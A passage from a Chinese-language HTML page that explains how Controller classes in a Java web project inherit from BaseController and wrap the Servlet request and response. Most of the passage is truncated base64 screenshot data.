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 truncated
|
||||
然后可以随便找一个Controller然后进入发现是继承了BaseController这个类</p>
|
||||
<p blockindex=7><img src=data:image/png;base64,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 truncated
|
||||
然后BaseController又继承了Controller类。</p>
|
||||
<p blockindex=8><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=9>读一下Controller类的源码,首先是init方法,这个方法可能是初始化controller,该方法把HttpServletRequest和HttpServletResponse赋值给该类的属性。简单来说Controller就是对Servlet的封装。</p>
|
||||
<p blockindex=10><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABgEAAAKACAYAAAC109ieAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOy9V5ckyZmm97gIrbVMrWXpqu6GGAwG3BlwKc7O8gfxh5CXJA8P7/asHmAGojEAWpUWmVmpQmsd4eHu4e68iKyq7Ebrqe6u7onnssrS4vXXLCzM7TP7TJhfWLaY8b1EkiS8/gC6pjEaDr5rOTNmzJgxY8aMGTNmzJgxY8aMGTNmzJgx4w1D/K4FzJgxY8aMGTNmzJgxY8aMGTNmzJgxY8aMGTO+GWZBgBkzZsyYMWPGjBkzZsyYMWPGjBkzZsyYMeMHyiwIMGPGjBkzZsyYMWPGjBkzZsyYMWPGjBkzZvxAkb9rATNmzJgxY8aMGTNmzJgxY8aMGTNmzJjxrwsbNneA8MISqWiQiGOC2DriqNDirDb6rsXN+IExCwLM+FeNIAjYHHZcEtgx6CsGmmlhftfCviyCjOgMIdoEJBT04QjLMHhtt31/0/V/XVmijCg7cLocyJaGqQ5QdJi86Q0niNjcfpw2AYegMuiraBPj+9Pf3jQEEZvLh9MuTv0cqGj6zM8ZM2bMmDFjxowZM2Z8HQRkpwe7w45b0lBGKuOxjvFdy5rxrSI63NjtDlziBF1TUVWNick3sw5i8+MKL7J27Q7rqRAJsYdx1qLbG8yCADNeO1IgGPrfv2sRM74eoihidzgxDQNd175rOd9LZJud1PwcN+b93IkJdLsaI81AR/iupX0JRLAHcKz/bwRXt4hkZPRWG2M8xnot+l/U/++/ofq/PpI7jDuxyvbVW6wkHSTI0x4JjCffqawvQEC0eYjv/JSdnSVuLcsM6n2Ukfo96W9vGgKi7CK2/VN2dle4syozrPcZDVR0YebnjBkzZsyYMWPGjBkzvgoCliUSWrnByv51frLlQBgp9JoDdEH4zjfCzfj28MzvkNm8zp0lPx5BRRv2UQwwv4FOIMQ3Saxd4e9u+BGrzzn64H3uHhY4rw8ZabPtbTNeL7OTADP+FSMgihIev5dkGJZQuS+LVCz4MmuykiwTTCRYck6IG33+VB7TUr/NQVpAEJ1IwSUcCRE3LWw2G+Mvqf/L1e+4qF/CLbSw2e2fXb9nETG0STQxYtLK0Ts9xeD1TpYE0YYtOE92eYX19XliNp1RcUJ+DMYnrRd82Fxx1m+skPBqOPpFHj4sUO8qqK9DjDeJI7bA7fQYpVHj4KDECOFzdokICKINdzhFLG1j3tbnqcOG7bW11/ccbwJ7dJFb6TFaq86zZ0UUBD47riOAaMMdThJLu5i393nmtFH5FiV/88iIsofM7hUitiGO2n0OagYdxUKQbASWrpHxC2TMUz466dLoXerZnjhydJlbaQWjU+fp0y/w86uW/9IIIPsIxJKkF+aJB5x4bCAaCv1ajnK5ynmpi47wxp3gcEfnCC9fZTUsE3QJgAVWl2Y+z/ndQ+qWgPK6BjhPDCmywq20Av0GTx4XGP2F/zKC6Caze4VMKkbKPf1XyzKwDJ1xr06zWqZwlqejCXyrP0dvGu4oQnSVW+kx0qDB44d5RsLr6M8zvhTuCFZkjdvpMbZRc+o/oH+rImQsy0Fmd5+oF7y1DzisTWgMp1/awOI1kmEXy8Ip90/blFrjV3/qCmNF1riVVnGMmzx6mGdkfY7+j5Vv8ehh7vPLf6XH8OINxUkvLRIPuPA7RCRLpV/PUS1XOM130OCNGz+dweR0ES1iI+q5uILO6tGtFjn94Bn1icXwdY2frhBE1rie1nCrLR4/zDMwrU/4LwFOUlt7ZObSZNwgCIBlYpo6ar9Bu1Yhf5qjo1oosy2/M2Z880geXIEomaVF4iEPAZeEbKoMmkUalTKn+Q6KYX783crhh8ga+ymTsNDh0YM8PW3C690OKeL0Rwin5pgPj6g9L+EAhq/1M74/2L0hQis3WYp5SPpejOd9hu0qpx88ozbS6H1sPBcBJ/HVTTJLi2TcIIu8HG+1YZtes0b+LEdroDF8QydnhqYxmQiI0Q1WgyHiyROePHxOpTum95onNJLLi9PvI0yHg2qOw+fnVEdjhtobas6M7zXfiyCAIMmIkoxk6himifHJ8JsgIooSkiwjCgAWlmliG